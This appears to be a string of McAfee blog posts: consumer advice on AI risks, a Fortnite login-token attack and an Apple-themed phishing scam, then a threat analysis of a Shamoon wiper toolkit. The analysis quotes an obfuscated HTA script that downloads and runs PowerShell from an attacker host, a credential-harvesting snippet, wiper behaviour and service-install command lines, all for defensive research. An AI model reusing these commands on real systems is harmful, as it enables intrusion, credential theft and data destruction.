artificial intelligenceAm I the only one? When I hear or see the word Artificial Intelligence (AI), my mind instantly defaults to images from sci-fi movies I’ve seen like I, Robot, Matrix, and Ex Machina. There’s always been a futuristic element — and self-imposed distance — between AI and myself.

But AI is anything but futuristic or distant. AI is here, and it’s now. And, we’re using it in ways we may not even realize.

AI has been woven throughout our lives for years in various expressions of technology. AI is in our homes, workplaces, and our hands every day via our smartphones.

Just a few everyday examples of AI:

  • Cell phones with built-in smart assistants
  • Toys that listen and respond to children
  • Social networks that determine what content you see
  • Social networking apps with fun filters
  • GPS apps that help you get where you need to go
  • Movie apps that predict what show you’d enjoy next
  • Music apps that curate playlists that echo your taste
  • Video games that deploy bots to play against you
  • Advertisers who follow you online with targeted ads
  • Refrigerators that alert you when food is about to expire
  • Home assistants that carry out voice commands
  • Flights you take that operate via an AI autopilot

The Technology

While AI sounds a little intimidating, it’s not when you break it down. AI is technology that can be programmed to accomplish a specific set of goals without assistance. In short, it’s a computer’s ability to be predictive — to process data, evaluate it, and take action.

AI is being implemented in education, business, manufacturing, retail, transportation, and just about any other sector of industry and culture you can imagine. It’s the smarter, faster, more profitable way to accomplish manual tasks.

An there’s tons of AI-generated good going on. Instagram — the #2 most popular social network — is now using AI technology to detect and combat cyberbullying on in both comments and photos.

No doubt, AI is having a significant impact on everyday life and is positioned to transform the future.

Still, there are concerns. The self-driving cars. The robots that malfunction. The potential jobs lost to AI robots.

So, as quickly as this popular new technology is being applied, now is a great time to talk with your family about both the exciting potential of AI and the risks that may come with it.

Talking points for families

Fake videos, images. AI is making it easier for people to face swap within images and videos. A desktop application called FakeApp allows users to seamlessly swap faces and share fake videos and images. This has led to the rise in “deep fake” videos that appear remarkably realistic (many of which go viral). Tip: Talk to your family about the power of AI technology and the responsibility and critical thinking they must exercise as they consume and share online content.

Privacy breaches. Following the Cambridge Analytica/Facebook scandal of 2018 that allegedly used AI technology unethically to collect Facebook user data, we’re reminded of those out to gather our private (and public) information for financial or political gain. Tip: Discuss locking down privacy settings on social networks and encourage your kids to be hyper mindful about the information they share in the public feed. That information includes liking and commenting on other content — all of which AI technology can piece together into a broader digital picture for misuse.

Cybercrime. As outlined in McAfee’s 2019 Threats Prediction Report, AI technology will likely allow hackers more ease to bypass security measures on networks undetected. This can lead to data breaches, malware attacks, ransomware, and other criminal activity. Additionally, AI-generated phishing emails are scamming people into handing over sensitive data. Tip: Bogus emails can be highly personalized and trick intelligent users into clicking malicious links. Discuss the sophistication of the AI-related scams and warn your family to think about every click — even those from friends.

IoT security. With homes becoming “smarter” and equipped with AI-powered IoT products, the opportunity for hackers to get into these devices to steal sensitive data is growing. According to McAfee’s Threat Prediction Report, voice-activated assistants are especially vulnerable as a point-of-entry for hackers. Also at risk, say security experts, are routers, smartphones, and tablets. Tip: Be sure to keep all devices updated. Secure all of your connected devices and your home internet at its source — the network. Avoid routers that come with your ISP (Internet Security Provider) since they are often less secure. And, be sure to change the default password and secure your primary network and guest network with strong passwords.

The post AI & Your Family: The Wows and Potential Risks appeared first on McAfee Blogs.

Frequent Fortnite Player? 4 Tips to Combat the New Attack on User Accounts

Epic Games’ Fortnite has risen in popularity rapidly since its debut, and cybercriminals have leveraged that popularity to enact a handful of malicious schemes. Unfortunately, these tricks are showing no signs of slowing, as researchers recently discovered a security flaw that allowed cybercriminals to take over a gamer’s Fortnite account through a malicious link. This attack specifically targeted users who used a third-party website to log in to their Fortnite accounts, such as Facebook, Google, or gaming providers like Microsoft, Nintendo, and Sony. But instead of trying to steal a gamer’s password like many of the hacks we’ve seen, this scheme targeted the special access token the third-party website exchanges with the game when a user logs in.

So, how exactly does this threat work? First, a cybercriminal sends a malicious phishing link to a Fortnite user. To increase the likelihood that a user will click on the link, the cybercriminal would send the link with an enticing message promising perks like free game credits. If the user clicked on the link, they would be redirected to the vulnerable login page. From here, Epic Games would make the request for the SSO (single sign-on) token from the third-party site, given SSO allows a user to leverage one set of login credentials across multiple accounts. This authentication token is usually sent to Fortnite over the back-end, removing the need for the user to remember a password to access the game. However, due to the unsecured login page, the user would be redirected to the attacker’s URL. This allows cybercriminals to intercept the user’s login token and take over their Fortnite account.

After acquiring a login token, a cybercriminal would gain access to a Fortnite user’s personal and financial details. Because Fortnite accounts have partial payment card numbers tied to them, a cybercriminal would be able to make in-game purchases and rack up a slew of charges on the victim’s card.

It’s important for players to understand the realities of gaming security in order to be more prepared for potential cyberthreats such as the Fortnite hack. According to McAfee research, the average gamer has experienced almost five cyberattacks, with 75% of PC gamers worried about the security of gaming. And while Epic Games has thankfully fixed this security flaw, there are a number of techniques players can use to help safeguard their gaming security now and in the future:

  • Go straight to the source70% of breaches start with a phishing email. And phishing scams can be stopped by simply avoiding the email and going straight to the source to be sure you’re working with the real deal. In the case of this particular scheme, you should be able to check your account status on the Fortnite website and determine the legitimacy of the request from there.
  • Use a strong, unique password. If you think your Fortnite account was hacked, err on the side of caution by updating your login credentials. In addition, don’t reuse passwords over multiple accounts. Reusing passwords could allow a cybercriminal to access multiple of your accounts by just hacking into one of them.
  • Stay on top of your financial transactions. Check your bank statements regularly to monitor the activity of the card linked to your Fortnite account. If you see repeat or multiple transactions from your account, or see charges that you don’t recognize, alert your bank to ensure that your funds are protected.
  • Get protection specifically designed for gamers. We’re currently building McAfee Gamer Security to help boost your PC’s performance, while simultaneously safeguarding you from a variety of threats that can disrupt your gaming experience.

And, as always, stay on top of the latest consumer and mobile security threats by following @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

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Cybercriminals Disguised as Apple Are After Users’ Personal Data: Insights on This Threat

With the holidays rapidly approaching, many consumers are receiving order confirmation emails updating them on their online purchases for friends and family. What they don’t expect to see is an email that appears to be a purchase confirmation from the Apple App Store containing a PDF attachment of a receipt for a $30 app. This is actually a stealthy phishing email, which has been circulating the internet, prompting users to click on a link if the transaction was unauthorized.

So how exactly does this phishing campaign work? In this case, the cybercriminals rely on the victim to be thrown off by the email stating that they purchased an app when they know that they didn’t. When the user clicks on the link in the receipt stating that the transaction was unauthorized, they are redirected to a page that looks almost identical to Apple’s legitimate Apple Account management portal. The user is prompted to enter their login credentials, only to receive a message claiming that their account has been locked for security reasons. If the user attempts to unlock their account, they are directed to a page prompting them to fill out personal details including their name, date of birth, and social security number for “account verification.”

Once the victim enters their personal and financial information, they are directed to a temporary page stating that they have been logged out to restore access to their account. The user is then directed to the legitimate Apple ID account management site, stating “this session was timed out for your security,” which only helps this attack seem extra convincing. The victim is led to believe that this process was completely normal, while the cybercriminals now have enough information to perform complete identity theft.

Although this attack does have some sneaky behaviors, there are a number of steps users can take to protect themselves from phishing scams like this one:

  • Be wary of suspicious emails. If you receive an email from an unknown source or notice that the “from” address itself seems peculiar, avoid interacting with the message altogether.
  • Go directly to the source. Be skeptical of emails claiming to be from companies asking to confirm a purchase that you don’t recognize. Instead of clicking on a link within the email, it’s best to go straight to the company’s website to check the status of your account or contact customer service.
  • Use a comprehensive security solution. It can be difficult to determine if a website, link, or file is risky or contains malicious content. Add an extra layer of security with a product like McAfee Total Protection.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

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Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used as a standalone threat.

After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.

In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill. In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec.

These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week. The latest Shamoon appears to be part of a toolkit with several modules. We identified the following modules:

  • OCLC.exe: Used to read a list of targeted computers created by the attackers. This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
  • Spreader.exe: Used to spread the file eraser in each machine previously set. It also gets information about the OS version.
  • SpreaderPsexec.exe: Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
  • SlHost.exe: The new wiper, which browses the targeted system and deletes every file.

The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net. This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks. In our last post, we observed that Shamoon is a modular wiper that can be used by other groups. With these recent attacks, this supposition seems to be confirmed. We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.

This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.

Geopolitical context

The motivation behind the attack is still unclear. Shamoon Version 1 attacked just two targets in the Middle East. Shamoon Version 2 attacked multiple targets in Saudi Arabia. Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.

Inside the .Net wiper, we discovered the following ASCII art:

These characters resemble the Arabic text تَبَّتْ يَدَا أَبِي لَهَبٍ وَتَبَّ. This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.” What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?

Overview of the attack

 

How did the malware get onto the victim’s network?

We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings. For example:

  • Hxxp://possibletarget.ddns.com:880/JobOffering.

Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East. Some of these sites contained malicious HTML application files that execute other payloads. Other sites lured victims to login using their corporate credentials. This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.

A code example from one malicious HTML application file:

YjDrMeQhBOsJZ = “WS”

wcpRKUHoZNcZpzPzhnJw = “crip”

RulsTzxTrzYD = “t.Sh”

MPETWYrrRvxsCx = “ell”

PCaETQQJwQXVJ = (YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx)

OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)

ULRXZmHsCORQNoLHPxW = “cm”

zhKokjoiBdFhTLiGUQD = “d.e”

KoORGlpnUicmMHtWdpkRwmXeQN = “xe”

KoORGlpnUicmMHtWdp = “.”

KoORGlicmMHtWdp = “(‘http://mynetwork.ddns.net:880/*****.ps1’)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -w 1 IEX (New-Object Net.WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc

The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location. From another location, it loads a second file to execute.

We discovered one of the PowerShell scripts. Part of the code shows they were harvesting usernames, passwords, and domains:

function primer {

if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\SYSTEM”}else{$u=$env:username}

$o=”$env:userdomain\$u

$env:computername

$env:PROCESSOR_ARCHITECTURE

With legitimate credentials to a network it is easy to login and spread the wipers.

.Net tool kit

The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.

This first component (OCLC.exe) reads two text files stored in two local directories. Directories “shutter” and “light” contain a list of targeted machines.

OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.

The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version. It first checks the Windows version of the targeted computers.

The spreader places the executable files (Shamoon and Filerase) into the folder Net2.

It creates a folder on remote computers: C:\\Windows\System32\Program Files\Internet Explorer\Signing.

The spreader copies the executables into that directory.

It runs the executables on the remote machine by creating a batch file in the administrative share \\RemoteMachine\admin$\\process.bat. This file contains the path of the executables. The spreader then sets up the privileges to run the batch file.

If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version. This can be used by the attackers to track any issues in the spreading process.

The following screenshot shows the “execute” function:

If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.

To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.

The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine. It could be used on additional machines to move the malware further.

The wiper contains three options:

  • SilentMode: Runs the wiper without any output.
  • BypassAcl: Escalates privileges. It is always enabled.
  • PrintStackTrace: Tracks the number of folders and files erased.

The BypassAcl option is always “true” even if the option is not specified. It enables the following privileges:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To find a file to erase, the malware uses function GetFullPath to get all paths.

It erases each folder and file.

The malware browses every file in every folder on the system.

To erase all files and folders, it first removes the “read only’ attributes to overwrite them.

It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.

The malware rewrites each file two times with random strings.

It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.

Then it uses FILE_DISPOSITION_INFORMATION to delete the files.

The function ProcessTracker has been coded to track the destruction.

Conclusion

In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks. Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks. The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.

Attributing this attack is difficult because we do not have all the pieces of the puzzle. We do see that this attack is in line with the Shamoon Version 2 techniques. Political statements have been a part of every Shamoon attack. In Version 1, the image of a burning American flag was used to overwrite the files. In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen. Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.

When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.

 

Coverage

The files we detected during this incident are covered by the following signatures:

  • Trojan-Wiper
  • RDN/Generic.dx
  • RDN/Ransom

Indicators of compromise

Hashes

  • OCLC.exe: d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a
  • Spreader.exe: 35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b
  • SpreaderPsexec.exe: 2ABC567B505D0678954603DCB13C438B8F44092CFE3F15713148CA459D41C63F
  • Slhost.exe: 5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

File paths and filenames

  • C:\net2\
  • C:\all\
  • C:\net4\
  • C:\windows\system32\
  • C:\\Windows\System32\Program Files\Internet Explorer\Signing
  • \\admin$\process.bat
  • NothingFound.txt
  • MaintenaceSrv32.exe
  • MaintenaceSrv64.exe
  • SlHost.exe
  • OCLC.exe
  • Spreader.exe
  • SpreaderPsexec.exe

Some command lines

  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat
  • cmd.exe /c “ping -n 30 127.0.0.1 >nul && sc config MaintenaceSrv binpath= C:\windows\system32\MaintenaceSrv64.exe LocalService” && ping -n 10 127.0.0.1 >nul && sc start MaintenaceSrv
  • MaintenaceSrv32.exe LocalService
  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat ” “
  • MaintenaceSrv32.exe service

 

 

 

 

 

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